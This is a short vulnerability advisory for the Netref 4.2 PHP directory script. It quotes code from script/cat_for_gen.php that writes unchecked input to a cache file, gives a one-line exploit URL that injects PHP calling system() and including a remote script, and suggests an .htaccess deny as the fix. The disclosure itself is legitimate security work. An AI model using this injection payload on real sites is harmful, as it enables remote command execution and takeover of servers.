annuaire.txt

`Software: annuaire netref  
version : 4.2  
url : http://www.netref.net  
Risk factor : critical  
  
Vendor has been contacted  
  
  
Description:  
-----------  
  
Netref is a PHP/MySQL-based directory script that supports an unlimited  
number of categories and links.  
Many fonctions to manage the links : Fast search engine with syntax  
coloring, Edit icone of category, Alias sites, Check validity of URL,  
Possibility to comment the sites, Administrator access to edit all datas  
and validate suggested links by users, batch processing, etc.  
Also includes Multi-language support (French, English : very easy to add  
langage with the system of package).  
Very easy to update from older versions.  
Very fast rendering.  
  
  
Vulnerability:  
-------------  
  
There is a vulnerability in the handling of input by Netref. Because of  
this, it may be possible for a remote user to gain unauthorized access  
to the system using the vulnerable software.  
  
The file "script/cat_for_gen.php" does not check the variables $ad,  
$ad_direct and $m_for_racine.  
  
  
*************************** CODE *********************************  
if ($ad==1){  
if (!isset($ad_direct)) $ad_direct=""; // variable appelé que dans  
certains cas  
  
$fp=fopen($ad_direct."cache/cat_for.php", "w");  
$temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du formulaire  
$temp.=">$m_for_racine</OPTION>";  
fwrite ($fp,$temp);  
*************************** CODE *********************************  
  
  
We can see that the $m_for_racine variable is not initialized and will  
be written in the cache/cat_for.php file. We can inject any php commands !  
  
  
Exploit:  
-------  
  
http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php   
  
  
sytem($command);include($remote_script)?>  
  
  
  
Solution:  
--------  
  
While waiting to upgrade to last version, make a .htaccess file in   
"script/" directory with : deny from all  
  
  
  
Credit:  
------  
  
jaguar[at]wulab.com  
http://jaguar.wulab.com  
  
  
`